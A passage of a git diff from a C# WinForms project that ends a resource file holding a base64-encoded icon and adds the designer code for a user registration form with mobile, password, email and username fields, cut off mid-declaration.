///////////////////////////////////////////////HyMr/2drb/////////////////zqcsP8k + 2Pb/T9724evt7Rf///8A////AP///wD///8A////AP///wD///8A6+3tF0Lc9ekl1/X/JMfj/0JES//X + 1tX//v7+/////////////////////////////////////////////////3d5f/8ZHCf/2trb///////7 + 9/f/L6S6/yXX9P8j1vT/jOn5tf///wD///8A////AP///wD///8A////AP///wCh7fmhI9b0/yXX9P8l + 2/j/Hz9M/8bFxv/19fX////////////////////////////////////////////5+vr/iYqP/xATHv9c + XmX/tre6/9jT1P8gssv/Jdf1/yXX9P8g1vT/zOPnV////wD///8A////AP///wD///8A4+nqKCXW9Pwl + 1/T/Jdf0/yTL5f8aOkj/h4iM/+Xk5P///////////////////////////////////////////3+Ahf8Q + Ex7/FRgj/xIVIP8LDhr/TlNc/x/D3/8l2fb/Jdf0/yXX9P9c4PbV/f39Av///wD///8A////AP///wCv + 8vyPI9f1/yXX9P8ky+b/K0BL/8zLzP9LTVX/z87O//r6+v////////////////////////////////// + ////l5ic/xEUH/8VGCP/FRgj/xUYI/8UFiH/bHN5/ySXrf8l2vf/Jdf0/yDW9P/J2NtF////AP///wD/ + //8AyMnKTz99i+kgf5P/Hq/G/x5JV//AwMH/ycnM/7/Aw/9sbXP/4+Li///////t7e7/ysrL/7m5u/+5 + ubv/zMvM/+vq6v/n5+j/Fxok/xUYI/8VGCP/FRgj/yUoMf/T0tL/qqeo/yaTp/8l3fr/JNf0/5rf6qD4 + +PgH////AKioq3d7fIL/4+Lj/+He3/+wrK7/qqqt/8nKzP8TFR//t7i7/z0+R/9ZWWD/UVpm/1Fle/9k + f5z/cJCw/3SVt/9wkbP/bImn/26CmP83QE3/EhQe/xQXIv8UFyL/WVtj//z8/P/q6ur/o6Sm/x1eb/9L + W2T/fn6D/31+gufW19hHREZO7V9haP+LjJH/6Ojp///////R0tT/MTM9/xQXIv8MDhn/OkVV/5Kxzv+u + 1Pb/rNL1/6nP8v+s0/T/ps3t/6nR8/+mzfL/pc/0/6TO9P+Gp8f/NkFR/w4QG/+hoqb////////////6 + +vr/3Nzd//39/f///////Pz8/5qanupUVlzm/f39/8bHyf/Q0NL//////8DAw/91d33/HyEr/11rfP+9 + 3Pj/udj1/7jY9P+41/T/mbfa/zZEq/8kK7P/Mj6w/4Siy/+y1fX/r9Pz/6/S8/+w1Pb/X3GG/zs/SP/e + 3t//1dXX/4yNkP//////////////////////19jZ9rW2uG12dXr95+bn/////////////////9TU1v9K + UFv/y+P4/8fg9//G4Pf/xd/2/8Xf9v8kOWn/FBuq/xUatv8XGMj/GyKu/7PQ6f+92vX/u9n1/7rZ9f+9 + 3Pn/V3iL/zNJVP9GSFD/IyYw//f3+P////////////////+jpKfo////AKHBxnkZWGn/qqmt///////5 + 9/f/JkZS/5KcqP/W6fr/1ej5/9Tn+P/S5/j/rsPY/1VlgP+7xM7/tL7R/5mjxv9gbJr/iqG8/8ri+P/J + 4ff/x+H3/8bf9v+5zeL/JJSq/xg/Tf8SFB7/LC44/4qLkP/MztD/jY6SyN/f4Dn///8AuM/TVBiSqv+p + pKj//////6Oprf8UYXT/u8PJ/+Pw+//i7/v/4O/7/9/u+//R4O//0eHw/9rq+f/a6/r/1uj3/87f7/+y + xNj/2Or6/9bo+f/V6Pn/1Of5/9js+/9GkKT/Jdz3/yU5RP/Q0dL//f39/3qXn/rz9vYQ////AP///wDe + 5+gsIs7r/yhca/9VdH//I6a+/yK2zv9cXmb/9Pn8//H4/v/u9v3/7vb9/+Xu9f/r9Pv/6vT9/+jz/P/q + 9f3/4ez3/+jz/f/k8Pz/4/D7/+Lv+//g7/v/5vT9/1aTpP8l3Pv/HpGm/3Vyd//a1tj/gJyl3v///wD/ + //8A////APr7+wVH3PXmJdv4/yXc+v8l2PX/Jdn2/x+dtf9BSlP/mZuh/+Xm6P/v8PL/LTA6/ygsNv/k + 5+r/+fz+/1JWYP8YGyb/ub7D//T5/v/0+v7/7/f9/+/3/f/l5ur/MZit/yXY9v8l2ff/IK7I/xuNo/+d + 5/Of////AP///wD///8A////AKju+pcj1vT/Jdf0/yXX9P8l1/T/Jdz6/ypIVf/4+Pj/ycrM/62usf/c + 3d7/5eXm//7+/v//////8vPz/+nq6//W19j/kpSZ/4WHjf+pq67/nZ6i/zmAkP8k1vL/Jdf0/yXX9P8l + 1/T/INb0/9Pn6kz///8A////AP///wD///8A3uXnLyPW9P0l1/T/Jdf0/yXY9v8l4Pz/HU5d/+/v8P// + ////9vf3/62usv+Fh4z/jo+U/4+Qlf+Ehoz/hoiN/5man//s7O3/+fn5/9fX2f+Vmp7/H83o/yXY9f8l + 1/T/Jdf1/yXX9P9V3/bd+/v7BP///wD///8A////AP///wD///8Aluv5rCPW9P8l2ff/HZKo/0Nfav92 + e4H/ubq9////////////V1pi/0xOVv/////////////////5+fn/JCYw/4qLkf///////////4aIjf9n + gIr/IqS9/yXZ9v8l1/T/INb0/8Tf5GL///8A////AP///wD///8A////AP///wDs7+8eOdv27x6UrP9+ + e4D/7O3t/4OFiv91dXv/v8DC/83Nz/+wsbX/vb7B//////////////////39/f+NjpT/2tvd///////a + 2tz/TU9X/6ussP+7urz/IbTO/yTW9P985vjD/f39Av///wD///8A////AP///wD///8A////AP///wDP + 5ehXJklX/Pf39//b3N3/4eLj/zSBmv9dYWj/GBoj/0xOVv/q6+v//Pz9/7a3uv/l5eb///////////// + ////7+/v/0Rdav+uuL7/uru9/+zt7v9SlKP/Q+D56OXn6B7///8A////AP///wD///8A////AP///wD/ + //8A////APv7+wVQU1vz6/Dy/7bT3f88lLD/HlBk/xUzSP9hYGb/MTQ9/yMmMP9AQ0v/Cw4Z/3V3ff// + /////////9XS0/85Vmn/HDRE/zqQp/+SwtD/2OXo/3ibpfHn8PE0////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A/v7+AZudoZZeb3nKI2x/+CGSqP8XXoH/ILLp/yN7lv81OEH/UE9X/1dVXP9Z + WGD/sK2w/7W0t/9hZGz/JnqU/yGy6f8Ya5H/H4me/x5idP8+annmycrLaf///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wDY4+UzW7fG0xSBt/8ssdn/G0FQ/yTD3v8g + uNL/HpGn/yGHnf8dlKv/HrvW/yPD3P8bRlX/LK7V/xaFu/8ht8//kOz8puzv7xX///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wC1tLVWF5LH/yJgd/4i + utP/I9b0/yXX9P8l1/T/Jdj1/yXX9f8l1/X/JNf0/yG71P8hWW//GJbM/7/Mz13///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AOjo6CEc + a5D8LVRm8tvm6DWj1d14hOf4q1/h9s1P3vbdUN722mji98WO6fmfwOfuaCJKXPg0g6fu9/b2Df///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////ALS3uoZMU1vZ+vr6B////wD///8A////AP///wD///8A////AP///wD9/f0CmZ2hmc7P0FL/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAAAw + AAAAYAAAAAEAIAAAAAAAgCUAAAAAAAAAAAAAAAAAAAAAAAD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A+fn5B+3t7RTg4OAl3NzcLtvb2zXb29s14ODgLujo6CLz8/MS+/v7Bf///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A9vb3CdTU1Tuen6JziImNomRmbL15eoDP7Ozs2P7+/t/////f////2P///8z///+87u7umtfX12ji + 4uIq/f39Av///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////APn5+gjOz9BeV1pg0RMWIf0OEh3/EhUg/xATHv8zNj//9/f4//////////////////////// + //////////r6+v9dX2b/b3F3t+Tk5ED///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wDp6eoaxcbIZlZXX80QFB//ERQf/xUYI/8VGCP/FRgj/xMWIf8XGiT/4eHj//////// + ///////////////////////////////39/j/kZOX/zc5QvjAwcS57OzsVPT09BD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A+vr6BczMzUppa3DEISMt9RMWIf8VGCP/FRgj/xUYI/8VGCP/FRgj/xEUH/+L + jJH/+vr6////////////////////////////////////////////+fn5/9XW1//q6uv/////7erp6aPn + 6+sm////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A0NXXaCIkLvITFiH/FRgj/xMWIf8TFiH/FBci/xUYI/8V + GCP/FBch/x4hK//x8fH///////////////////////////////////////////////////////////// + /////////+Xg4P8ydob20OTnR////wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AO/w8BK/+P9+Jlhm9hMTHf8SFSD/NDdA/1lbYv9a + XGT/SEtT/zAzPP8cHyn/ERQf/xYZJP/f3+D///////////////////////////////////////////// + //////////////////////////35+f9FcHz/QNr05rLO0mD+/v4B////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A8fLyEKbh648m4f/8HElY/xAQG/9G + SFD/0NDR//Lz8//09PT/6enq/9XV1/+5ur3/hIWL/4OFiv/z9PT///////////////////////////// + //////////////////////////////////////////////9bdH7/HMzq/z/d9urX9/1r////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A0vb8cijX9Pom + 4v//G01c/yAfKf/ExMT/8O/v//////////////////////////////////////////////////////// + //////////////////////////z8/P////////////////////////////////9gdn//Hcvo/yTY9f8X + 1PT/xNvfW////wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wDu + +/5GOtv17yPX9P8l4f//G2By/01MU//Y19b/6Ojo//////////////////////////////////////// + ////////////////////////////////////9fX1/2hrcf9MT1b/09TW//7+/v/////////////9/f9S + cn3/H9Du/yXY9f8k1/T/XeH32drj5Tn///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AOLn6ClO3vbiIdb0/yXX9f8l3fv/HYCV/1JTWf/Z19f/4uLi//7+/v////////////////// + ////////////////////////////////////////////////////8/P0/1lbYv8MDxr/SUtT/9/f4f// + //////////nz8/88coD/Idj2/yXX9P8l1/T/I9f0/ZLq+bH+/v4B////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A+vr6B6Tu+qIe1vT/Jdf1/yXX9P8l2PX/IKfA/yo1Pv/Ozs7/29ra//v7+/// + /////////////////////////////////////////////////////////////////////////3t8gv8O + ERz/FBci/6anrP///////////+Xe3v8ieIv/JN38/yXX9f8l1/X/Jdf1/x7W9P/Z9/1m////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A0t/hQEre9uMl1/T/Jdf1/yXX9P8l1/T/JMfg/xQ1Q/+T + k5b/2djY//X19f/////////////////////////////////////////////////////////////////4 + +Pj/np+k/0VHUP8RFB//ExYh/zE0Pf9maG//XF5l/6qorP8XnbX/Jd37/yXX9f8l1/T/Jdf1/yLX9f8/ + 2/Xt7PHzI////wD///8A////AP///wD///8A////AP///wD///8Aq+/6lSPX9P4l1/X/Jdf1/yXX9f8m + 3/z/H4ic/x4tOf85O0P/zMvL/+rp6f////////////////////////////////////////////////// + ///////////////Y2dr/Fxol/xIVIP8VGCP/FRgj/xMWIf8QEx//HB4o/0BIUf8bpb//Jdz6/yXZ9v8l + 1/T/Jdf0/yXX9f8d1vT/suXtgf39/QL///8A////AP///wD///8A////AP///wD8/v4NRNz17CPX9P8l + 1/T/Jdf1/ybf/P8fgZb/Lyoz/7e2t/8oKzX/jY2R/9rY2P////////////////////////////////// + ///////////////////////////////o6On/HB8p/xQXIv8VGCP/FRgj/xUYI/8VGCP/FBci/xMVIP84 + NDz/HWx+/yPS7v8l1/X/Jdf0/yXX9P8l1/T/bOT3yeXp6h////8A////AP///wD///8A////AP7+/gHL + 8/lvHtDt/yXW8/8l2/j/Jdn1/x6Kn/8nIyv/trW2//r5+f+1trr/Q0VN/76+v//l5OT//v7+//////// + ////////////////////////////////////////////////////TVBX/xEUH/8VGCP/FRgj/xUYI/8V + GCP/FBci/xodJ/+6ubr/nZmc/zxygP8hxeD/Jdr3/yXX9P8l1/X/O9z27snb3kn///8A////AP///wD/ + //8A6+vrFq2usHZHanbjIlpq/x9pe/8aiZ//HJSp/yQ6Rf+wr7H/zc7P/8HBxP/9/f3/dXd9/3Z3fP/Z + 2Nf/8vLx///////09PT/1NTV/7a2t/+kpKb/oKCi/6Ojpf+ysbL/zMvL/+no5////v7/oKGl/xcaJf8V + GCP/FRgj/xUYI/8VGCP/ExYh/zE0Pf/W1dX/0dDQ/6+srf83XWr/IMHb/ybf/P8m3Pr/JM3p/qzd5o3y + 8vIT////AP///wD///8Ag4SJsEdJUP++vb7/0c/P/7+6u/+IfoL/PTlB/4mIjP//////fH2B/yMlLf// + ////3d7f/z9BSv+YmJv/n5+h/1paX/8jJS3/HCMw/yo2SP84SV//QVVt/0Rac/9BVm//PE5k/z5KXP9N + Ulz/bm5z/yAiKv8UFyL/FRgj/xUYIv8VGCP/EBMf/2Jja///////7u7u/9rZ2f/DvLz/Lmh3/x6bs/8R + SFj/GScy/y8xOv85O0Pztre5fPf39wrBwcN7Ky43/7Cws//y8vP/////////////////8O/v//Ly8v/f + 3+H/OTxE/xEUH/9OUFj/QEJL/xkbJv8iKDX/RVNn/2mEnv+Krc7/ncTp/6TO9f+l0Pj/pdD5/6XR+f+j + z/n/os73/53I8f+QueD/ep2//152kP83RFT/HCAs/xMWIP8VGCP/FRci/5SVmv////////////v7+//u + 7u7/m5qd/1VUWv+YkpX/y8nK/+Hg4P/c29z/kZKW98TExoY1OEHiZGZs/1lcY/9RU1v/m5yg/+nq6/// + ////+/v7/7Kzt/85O0X/EhUg/xUYI/8RFB7/FBgj/1Vkd/+WtND/qs7u/6/U9v+u0/b/rNHz/6vQ8/+v + 1vf/rNLx/6fO7P+r0vL/q9P2/6fO8/+mzvP/p8/1/6XN8/+dxOj/epi1/zlEVf8PERr/IyYv/8PDxv// + ////////////////////8vLy/+rq6v/9/f3////////////+/v7/8vLy/4+QleojJi/pp6ir//z8/P+4 + ubz/XmFn/7u8v///////8PHx/2dpcP8iJS//DRAb/xIVIP8MDRf/dYid/7zd+/+31/X/ttb0/7XW9P+0 + 1vT/tdb1/7TW8/9zkbL/O0+a/y8/nP89UZz/epi+/7DU8v+u0fP/rdHz/6zR8/+s0fL/rtT3/63S9f9V + Znr/Fhgi/4ODiP////////////r6+v+9vsD/9PT0/////////////////////////////////8rKzPOx + sbSOX2Bn//Hx8v/////////////////////////////////y8vL/ra6x/ywuOP92hpj/xuL8/8Hd9/+/ + 3Pb/v9v2/77b9f+92vX/ttPt/1RroP8UGLH/GBnJ/xoayv8YGcn/GB6w/1ZtrP+62/b/t9f1/7bW9P+0 + 1fT/tNX0/7TW9v+53fz/ZHeL/xQnNP9WWGD/4uLj/3x+g/8DBAv/pKWp//////////////////////// + /////////72+wfTu7u4We3uBwGtnbf7Ixsj/+fn5///////////////////////29vb/cnJ5/1Rcav/Q + 6Pn/yuP4/8nh+P/I4fj/x+D3/8fg9//J4vn/lKzH/xQqW/8PG4r/FRq0/xMar/8UFsP/FxfM/xoiqP+d + utD/w+D6/77b9v+92/b/vdr2/7za9f+72vb/s87p/1B1h/8TT1//TktS/ywuN/8OERz/cHJ4//j5+f// + ////////////////////6+vs/5SUmtr///8A8PHxEoClrqwKIC3/T1BY/9fY2v///////////////v9m + cXj/ECAt/5imtf/W6vz/0+f5/9Lm+P/R5vj/0eb4/8/l+P/Y7v//ZXuZ/0lZdv+hqrP/tbvI/6asyP+E + i73/U1uu/xYkdv9YcJD/zuf8/8fg9//G3/f/xt/3/8Tf9//E3vf/xuH5/6Cvwv8bh5v/G2N1/xMRG/8V + GSP/Gh0o/2dpcP+goab/2drb///////CwcT/XmBo7ODg4Vb///8A////AJPK0oMh1/T/Hz5M/7m4uv// + /////////97Z2v8hZXb/L0ZT/8LO1v/b7Pr/2+v6/9rr+v/a6/r/2er5/9jq+f/i9P7/bH+c/6Oxw//S + 3uv/ydjl/8fW4//F09//w9HZ/6ayv/9DV3j/yt/z/9Hm+f/P5Pj/zuT4/83k+P/N4/j/zOT4/83g9f9F + Znb/Icvl/yCBlP8UGCL/IyYv/zk6Q/9tb3X/w8PF/26Bif+XqrCX5OTkKP7+/gH///8A////AKrR2G4f + 3/7/JkdU/8TBxP//////9fPz/36Lk/8esMr/M0JO/87W2v/l8fz/5PH8/+Pw/P/j8Pz/4u/7/+Hv+//i + 8Pz/0d/t/9rp9//c7Pr/3Oz6/9zs+v/a6/r/2On4/9Tl8/+xwtb/0uPz/9nq+v/Y6vr/1+n6/9bp+f/W + 6fn/1ej5/9zv/f96go//HbbQ/ybd+P8WS1v/bGht/+Pj5P/9/f3/8u/v/2mOmffz/f4c////AP///wD/ + //8A////AMrg5Ewe3fz/HXaK/0E7Q/+on6L/aWhv/yGPpP8n5///H0ZU/6eqsP/2/f//7fX9/+z1/f/r + 9f3/6/T9/+r0/f/s9v//7fj//+n0/v/n8vz/5vL8/+Xx/P/l8fz/5/P+/+f0///k8f3/4vD8/+Hv+//g + 7/z/4O77/9/t+//e7fv/3e37/+T0/v+Vl6P/HarD/yXe/P8lu9X/LTA5/8/O0P//////9PHx/4SaouL+ + /v8D////AP///wD///8A////AO3y9CAu1/T5JNPw/x6cs/8Yeo7/HanC/yXX9f8l2vj/IKC3/zBET/+0 + tbn/5+nq//L3+v/2+v7/9Pr+/+3z9/+nrbX/nKGq/77Eyf/t9Pn/7/f9/+/3/v/b4ub/qbG7/5+nsf/J + 0tj/7PX9/+r0/f/p8/z/6fP8/+jy/P/n8vz/5vL8/+/6/v+Eh5H/HbTO/yXa9/8m3vz/Houh/zRMWP+C + ipD/ZH2H/4nAy7X///8A////AP///wD///8A////APv7+wR55fjEINf1/yXa+P8m2vj/Jdr4/yXX9f8l + 1/X/Jdbz/yCmv/8gOET/U1Ja/4SGjf/ExMf/+vv8/+3v8P9NUFn/FRcj/yEkL//Hys7/+/3///v9//9+ + gor/Exci/xYZJP99gYj/9/z///f7/v/5/P7/9Pr+//D4/v/w9/7/9Pr+/9nY3P83Z3b/ItPw/yXY9f8l + 1/X/Jdbz/yG61P8forr/ILfR/sDy+nr///8A////AP///wD///8A////AP///wDY9/1gHtb0/yXX9P8l + 1/T/Jdf0/yXX9P8l1/X/Jdf0/ybg/P8VVGb/fnl+//Ly8v/AwMP/kpOY/+np6v//////1tfZ/87P0v/9 + /f3////////////7/Pz/zc7Q/9rb3f///////v///9jZ3P+wsrf/6Ors//7/////////0M/R/0ZdZ/8g + yOT/Jtr3/yXX9f8l1/X/Jdf0/yXX9f8l2Pb/Pdv27Oj6/UP///8A////AP///wD///8A////AP///wD4 + +voNVt/23iPX9P8l1/T/Jdf1/yXX9P8l1/X/Jdf1/ybe/P8XZHb/eHN4//3+/v//////3d7f/52fo/+c + naL/xcXI/9PT1v/h4uP/6urr/+vr7P/k5OX/1dXX/8XFyP+jpKj/e32C/3x9g/+NjpP/cHJ4/3R2fP9v + cHb/MFJf/x+50/8m2/n/Jdf0/yXX9P8l1/X/Jdf1/yXX9P8j1/X/eub4wOrt7Rr///8A////AP///wD/ + //8A////AP///wD///8AuvL7iCPX9P4l1/X/Jdf1/yXX9f8l1/T/Jdz5/ybi/v8fi6D/WlZd//Pz9P// + //////////j4+P/Z2dv/mpug/46PlP+Fh4z/gIGH/35/hf97fYP/g4SK/5udof+xsrb/vr7C//X29v// + ////8/P0/+Pj5P/d3t//SYWT/yHV8f8l2vf/Jdf0/yXX9P8l1/X/Jdf1/yXX9f8b1fT/tNzidf39/QL/ + //8A////AP///wD///8A////AP///wD///8A0tnbNVDe9t8l1/T/Jdf1/yXX9f8m4v//IKa+/xFKW/8Z + Kjb/PUBI/93d3//////////////////Gx8r/DhId/2xudf////////////////////////////////9X + WWH/FRYf/7i4vP/////////////////s6+z/JDA7/xZcbv8hyOX/Jt37/yXX9f8l1/X/Jdf1/yLW9P8+ + 2/Xw9ff3Ff///wD///8A////AP///wD///8A////AP///wD///8A+Pj4CKri7I4e1vT/Jdj1/yXN6v8Z + YXP/T1FY/6yoq//X1tj/iYuQ/6+wtP////////////////+dn6P/ISQu/2lsc/////////////////// + //////////P09P8lKDL/P0FK/6qrr/////////////39/f9sbnT/lpaa/8O9v/9mc3z/JaG5/yTX9P8l + 1/T/JNf1/y/Y9fXk+v1W////AP///wD///8A////AP///wD///8A////AP///wD///8A////APL19Rxj + 4vfWINb0/xpxhf9JRU3/5OPk/9/g4f9vcXf/iYuQ/3Z1e//Gx8n/l5ic/8PEx//u7+//oaKm/9HS1P// + //////////////////////////7+/v+4ubz/pKWp/+np6v///////////8HBxP9DRk7/X2Fo/6Wmqv/0 + 8fH/d5We/yO92P8l1/X/Itb0/qfu+p/8/P0D////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD6/v8kNcfd8xo4Rf/h4eL/+/v7/6ytsf/s7O3/0tXX/zBNXP96en//MDE5/wcJE/8+ + QEn/4OHi////////////////////////////////////////////////////////////5+fo/0NCSv+0 + sLP/6enq/25vdv/c3d//z9HT/zWdsf8k3Pr/ZOL3097i4yn///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8AxtbZckhRWfn//////f39//r4+P/Y4ub/W6G3/yeZvP8Z + Ii3/bGxx/zw+R/8KDRj/NjhB/7S0uP/j4+T/m5yh/0dJUf9qbHL/8vLy///////////////////////j + 4uP/ZGVr/y1pfv9Bkaj/tcXL/+rq6v/m5uj/6OXl/0uSov9B5v/o0uLkTP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8Az8/QV1xgZ/jr8fP/0uDl/5fF0/9E + n7v/I2+J/xs7Tf8VVXf/Iy47/2BfZf9cX2b/Ghwn/x8hK/89P0j/Gh0n/w0QG/8XGiT/5+jp//////// + ////+vn5/7q1t/9CUV//FEVi/xwvPv8wbYD/SqK5/4bA0P++1tz/ytHU/22VoOfp+vxJ/f39Av///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A3d3dSi0zPe8g + Q1X/FUxi/xZDV/8cPEn/IGh5/xlcfv8Ro+j/Jp/K/xdAU/88PUX/dnV6/1RWXf8vMTr/HyIt/xcaJf9i + ZGv////////////b19j/aG52/x9acf8msOL/E5LQ/xxgev8daXv/GSQv/yE/T/8hT2L/GDlK/6iqro// + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A+fn5B9jY2Tiwr7FhpbCzemG/0M4j3Pj/H4Sc/xR8sP8hruX/MMHp/yVzjP8VMD3/H11u/z1dav9c + anP/aXJ5/3F5gP9/iY//coeP/0l3hP8hanz/FDZF/yeKqP8yzPj/Hani/xdrlf8mvNX/I8rm/yemvPlt + s77GvsHDVvX19RP///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A/Pz8A9vi4yqg9P+YJ2mA9haQyP8vy/n/I2eA/xxTY/8k + w9v/JdTy/yLD3v8gr8n/IqW9/yOhuf8hp7//ILfS/yHK5v8l1/X/I6m//xtATv8og6D/KL/y/xZ+sv8e + h5v/QeT96bby/X7o7Owc////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AW3WH0Bme1v8x + veT/GTVD/yO91P8l2Pb/Jdf1/yXX9P8l1/X/Jdj2/yXZ9/8l2Pb/Jdf1/yXX9f8l1/T/Jdz4/yGarv8W + Ex3/K7bi/xWLwv9ikJ3O5O/wK////wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8AeIeStRyd0f8qjq3/PF9s5Fzc8dA52vXuJtf0/SPX9f8j1/T/I9f0/yPX9P8j1/X/I9f1/yPX9f8k + 1/X/Kdr3+zzK4ekYFB37J5vB/xaBsf/W09NW////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8AwsTHdxx4oP0lgZ//g4aKpOHn6CfAztBEuvH7cJzs+pR75vi0ZOH3yV7h99Nc + 4fbTaOP4xYHn+a+g7PqMwfP8aNfq7kcfGCDyIIiu/0h9luH7+/sS////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A2dnZLVJbZdcVMUP/dHR5r/f39wn///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////APv7+wdcXGLYFy9A+tLT1m7///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A/v7+AdTU1EJvbnKY2tvbPv///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wDx8fEZ1tbWOvb29gr/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= + + + \ No newline at end of file diff --git a/TEMUKJD/UserForm/RegeditForm.Designer.cs b/TEMUKJD/UserForm/RegeditForm.Designer.cs new file mode 100644 index 0000000..e8d03ce --- /dev/null +++ b/TEMUKJD/UserForm/RegeditForm.Designer.cs @@ -0,0 +1,506 @@ +namespace LittleRabbit.UserForm +{ + partial class RegeditForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(RegeditForm)); + this.labelX1 = new DevComponents.DotNetBar.LabelX(); + this.mobile = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.password1 = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX4 = new DevComponents.DotNetBar.LabelX(); + this.label3 = new System.Windows.Forms.Label(); + this.password2 = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX6 = new DevComponents.DotNetBar.LabelX(); + this.label4 = new System.Windows.Forms.Label(); + this.email = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX8 = new DevComponents.DotNetBar.LabelX(); + this.label5 = new System.Windows.Forms.Label(); + this.userName = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX10 = new DevComponents.DotNetBar.LabelX(); + this.label6 = new 